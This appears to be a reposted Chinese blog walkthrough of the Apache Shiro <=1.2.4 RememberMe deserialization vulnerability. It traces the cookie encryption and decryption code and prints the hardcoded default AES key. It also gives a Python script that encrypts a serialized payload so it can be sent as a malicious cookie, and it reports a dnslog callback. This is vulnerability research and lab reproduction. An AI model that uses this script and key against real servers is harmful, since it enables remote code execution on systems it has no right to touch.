我的编程空间,编程开发者的网络收藏夹
学习永远不晚

[Java反序列化]—Shiro反序列化(一)

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

[Java反序列化]—Shiro反序列化(一)

环境配置: 

IDEA搭建shiro550复现环境_普通网友的博客-CSDN博客

漏洞原理:

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

影响版本:

Apache Shiro <= 1.2.4

漏洞原理:

shiro反序列化主要就是对cookie进行的一系列操作, 也就是 选了 rememberme。他会对你的cookie 进行 操作。

 特征

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

shiro 默认使用了 CookieRememberMeManager,其处理cookie的流程是:

得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

然而AES的密钥是硬编码的,导致攻击者可以构造任意数据造成反序列化RCE,payload:

恶意命令-->序列化-->AES加密-->base64编码-->发送cookie

在整个漏洞中,比较重要的是AES的密钥。

加密分析:

Shiro <= 1.2.4 版本默认使用   CookieRememberMeManager。

而这个 CookieRememberMeManager 继承了 AbstractRememberMeManager 跟进看看。

 此处有个 硬编码 DEFAULT_CIPHER_KEY_BYTES ,然后他又实现了 RememberMeManager接口,跟进去看看

实现了这些接口,看英文单词是  记住身份信息、忘记身份信息、登录成功、登录失败、已登录功能,既然这样,那么肯定会调用登录成功的这个接口,然后再去实现这个接口,所以我们在这里下个断点

这里我是勾选了这个 Remember me 的

 

 而这,我们是可以进入if 的

 这里的 subject 存储的是一些 登录信息  比如session 等

 而PrincipalCollection 是个身份集合,我们先不管。

我们继续跟进这个 

 rememberIdentity(subject, token, info);

 这里获取了身份信息,但是不知道是用来干嘛的

跟进一下这个  convertPrincipalsToBytes()

    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {        byte[] bytes = serialize(principals);  //序列化这个身份信息        if (getCipherService() != null) {            bytes = encrypt(bytes);        }        return bytes;    }

这里把身份信息传给convertPrincipalsToBytes() ,身份信息传参为principals ,然后将这个信息应该是序列化了。

 大概就是跳了两层,到 DefaultSerialize类的 序列化方法,这里把身份信息转换为bytes,写入缓冲区,然后就进行了序列化,最后通过toByteArray() 方法 返回序列化后的Byte数组

然后回来这个地方:

    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {        byte[] bytes = serialize(principals);        if (getCipherService() != null) {            bytes = encrypt(bytes);        }        return bytes;    }

 进行一个if判断,getCipherService()方法不为空则进入条件里面里面。我们f7进去内部看看;

 发现又是一个cipherService,也就是获取密码服务,我们再继续F7跟进发现直接推出了。那我们就 Ctrl+左键继续进去看。可以,发现是new了一个aes加密服务。

 那我们点击debugger处,回到刚刚那个地方;我们就不用继续进入了,我们就思考一下,这边是要获取到加密服务,如果没获取到,则不进入。获取到的话,则进入该条件;

 然后调用encrypt()方法,这是个加密方法。我们f7跟进去看看什么情况。

 这里把序列化后的bytes 传参给serialized 赋值给value ,然后if判断,getCipherService(),这个是存在的。然后我们进入条件判断股内部

ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());

这里调用cipherService.encrypt()方法并且传入序列化数据,和getEncryptionCipherKey方法。

 我们通过getEncryptionCipherKey()名字可以知道是获取key的一个方法。那我们f7进入看看

直接return了 ,看看这个encryptionCipherKey的初始定义

 看看哪里赋值了

    public void setEncryptionCipherKey(byte[] encryptionCipherKey) {        this.encryptionCipherKey = encryptionCipherKey;    }

 在 setEncryptionCipherKey()进行了赋值,看看谁调用了setEncryptionCipherKey()

    public void setCipherKey(byte[] cipherKey) {        //Since this method should only be used in symmetric ciphers        //(where the enc and dec keys are the same), set it on both:        setEncryptionCipherKey(cipherKey);        setDecryptionCipherKey(cipherKey);    }

 这里调用了setEncryptionCipherKey(),继续跟谁调用了setCipherKey()

    public AbstractRememberMeManager() {        this.serializer = new DefaultSerializer();        this.cipherService = new AesCipherService();        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);    }

发现是把前面看的硬编码传给了setCipherKey(),而public AbstractRememberMeManager()是构造函数。也就是说,前面的getEncryptionCipherKey(),就是固定值,硬编码

ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

至此 也就是说,  这个勾了remember的功能,他会把我们的身份信息,序列化后和 那个固定的key进行加密,接下来我们需要分析一下解密的操作

解密流程

在 shiro 文件中找到   CookieRememberMeManager.java 对cookie中的字段进行管理,其中有个rememberSerializedIdentity(),可以对remember认证信息进行序列化

其中这里有个 getCookie().readValue(request, response),这是读取cookie中的数据,跟上:

 根据名字,可以知道是一个读取值的方法。

通过 getName()方法得到name =remeber me  然后把value = nuLL,  在通过getCookie获取到cookie,最后判断cookie 不为空 进入到内部随后  cookie.getValue.  并赋值为 value 其值为序列化的内容   ,然后return 回value 也就是序列化的值。

也就是返回到这一步,这里进行了一个判断,判断这个 base64的值是否是 deleteMe ,是的话就返回null,我们这里肯定不是了,我们的值是序列化内容,继续往下走,然后进行了一个base64解密赋值给了 decode

得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

目前只进行了 base64解密。接下来还需要AES 解密,继续跟进,看看哪里调用了rememberSerializedIdentity(),

 是这里调用了。 其中bytes 肯定不为空,所以进入第一个if,期间调用了convertBytesToPrincipals

 把 序列化内容传进去了,跟进。

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {        if (getCipherService() != null) {            bytes = decrypt(bytes);        }        return deserialize(bytes);    }

if钟进行了解密。最后回返回反序列化的内容,看看decrypt()

protected byte[] decrypt(byte[] encrypted) {    byte[] serialized = encrypted;    CipherService cipherService = getCipherService();    if (cipherService != null) {        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());        serialized = byteSource.getBytes();    }    return serialized;}

很好,他也是用了硬编码进行了解密,就是那个固定值,我就不跟了。直接跟进最后面的deserialize(byte)

  protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {        if (getCipherService() != null) {            bytes = decrypt(bytes);        }        return deserialize(bytes);    }

最终就到了readObject执行反序列化

public T deserialize(byte[] serialized) throws SerializationException {    if (serialized == null) {        String msg = "argument cannot be null.";        throw new IllegalArgumentException(msg);    }    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);    BufferedInputStream bis = new BufferedInputStream(bais);    try {        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);        @SuppressWarnings({"unchecked"})        T deserialized = (T) ois.readObject();        ois.close();        return deserialized;    } catch (Exception e) {        String msg = "Unable to deserialze argument byte array.";        throw new SerializationException(msg, e);    }}

一下这个加解密 过程是我抄其他师傅的  原理不清楚,因为我没有编写脚本能力

漏洞复现

用脚本将序列化生成的文件1.txt进行aes加密

import sysimport base64import uuidfrom random import Randomfrom Crypto.Cipher import AESdef get_file(filename):    with open(filename,'rb') as f:        data = f.read()    return datadef aesEncode(data):    BS = AES.block_size    pad = lambda s: s + ((BS-len(s)%BS)) * chr(BS-len(s)%BS).encode()    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key),mode,iv)    ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))    return ciphertextdef aesDecode(enc_data):    enc_data = base64.b64decode(enc_data)    unpad = lambda s:s[:-s[-1]]    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = enc_data[:16]    encryptor = AES.new(base64.b64decode(key),mode,iv)    plaintext = encryptor.decrypt(enc_data[16:])    plaintext = unpad(plaintext)    return plaintext if __name__ == '__main__':    data = get_file("1.txt")    print(aesEncode(data))

生成后传入cookie 中,dnslog成功回显

来源地址:https://blog.csdn.net/snowlyzz/article/details/128133957

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

[Java反序列化]—Shiro反序列化(一)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Java序列化与反序列化

这篇文章主要介绍了Java的序列化与反序列化,序列化把一个对象JavaObject变为一个二进制字节序列byte[];反序列化就是把一个二进制字节序列byte[]变为Java对象JavaObject。感兴趣的小伙伴可以参考阅读
2023-05-14

序列化与反序列化

序列化(pickling)  把变量从内存中变成可存储或传输的过程反序列化(unpickling)  把变量内容从序列化的对象重新读到内存里的过程序列化&反序列化的意义  在程序运行过程中,对象可在内存中被自由的修改  一旦程序结束,对象所
2023-01-31

Java序列化与反序列化怎么应用

这篇“Java序列化与反序列化怎么应用”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“Java序列化与反序列化怎么应用”文章吧
2023-07-05

Java序列化与反序列化怎么实现

本篇内容主要讲解“Java序列化与反序列化怎么实现”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Java序列化与反序列化怎么实现”吧!序列化与反序列化概念序列化 (Serialization)是
2023-06-02

一文详解Java对象的序列化和反序列化

本文主要介绍了一文详解Java对象的序列化和反序列化,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
2023-05-16

Java之对象的序列化和反序列化

对象的序列化和反序列化1)对象序列化,就是将Object对象转换成byte序列,反之叫对象的反序列化。2)序列化流(ObjectOutputStream),是字节的过滤流—— writeObject()方法 反序列化流(ObjectInputStrea
Java之对象的序列化和反序列化
2019-09-29

Java序列化和反序列化示例分析

这期内容当中小编将会给大家带来有关Java序列化和反序列化示例分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。序列化是为了把Java对象转化为字节序列(字节流)的过程。然后深拷贝是通过对流的操作来实现的
2023-06-26
2023-09-01

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录